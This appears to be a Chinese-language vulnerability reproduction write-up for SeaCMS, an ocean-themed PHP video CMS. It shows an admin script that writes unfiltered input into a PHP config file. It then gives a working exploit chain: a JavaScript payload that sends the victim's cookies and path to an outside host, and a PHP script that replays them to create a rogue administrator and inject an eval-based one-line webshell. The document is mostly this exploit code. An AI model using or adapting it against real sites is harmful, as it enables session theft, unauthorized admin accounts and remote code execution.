跳转至

seacms getshell

一、漏洞简介

海洋cms是一款简单的php内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架

二、漏洞影响

三、复现过程

后台代码如下

<?php
header('Content-Type:text/html;charset=utf-8');
require_once(dirname(__FILE__)."/config.php");
CheckPurview();
if($action=="set")
{
    $v= $_POST['v'];
    $ip = $_POST['ip'];
    $open=fopen("../data/admin/ip.php","w" );
    $str='<?php ';
    $str.='$v = "';
    $str.="$v";
    $str.='"; ';
    $str.='$ip = "';
    $str.="$ip";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;
}
?>

这里根本没有经过过滤,直接将变量写进去,可以写一个脚本利用

代码如下

# test.js
var img = new Image();
img.src=  "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;
# test.php
<?php
    function Requests($url, $data, $cookie = '', $type = 1){
        $ch = curl_init();
        $params[CURLOPT_URL] = $url;
           $params[CURLOPT_HEADER] = FALSE;
        $params[CURLOPT_SSL_VERIFYPEER] = false;
        $params[CURLOPT_SSL_VERIFYHOST] = false;
        $params[CURLOPT_RETURNTRANSFER] = true;
        if ($type === 1) {
            $params[CURLOPT_POST] = true;
            $params[CURLOPT_POSTFIELDS] = $data;
        }
        $params[CURLOPT_COOKIE] = $cookie;
        curl_setopt_array($ch, $params);
        $output = curl_exec($ch);
        file_put_contents('log.txt', $output, FILE_APPEND);
        curl_close($ch);
    }
    $C = $_GET['x'];
    $P = $_GET['p'];
    $P = substr($P, 0, strlen($P)-21);
    file_put_contents('c.txt', $C);
    file_put_contents('p.txt', $P);
    $url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';
    $url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';
    $data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';
    $data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';
    Requests($url_1, $data_1, $C);
    Requests($url_2, $data_2, $C);

这两个脚本会将cookie和后台路径保存在文件中,并且会向后台发送数据,添加一个系统管理员,同时会在系统中写入一个一句话木马,需要注意的是修改域名为测试域名。测试如下

代码已经写进了后

管理员添加成功

一句话也写进去了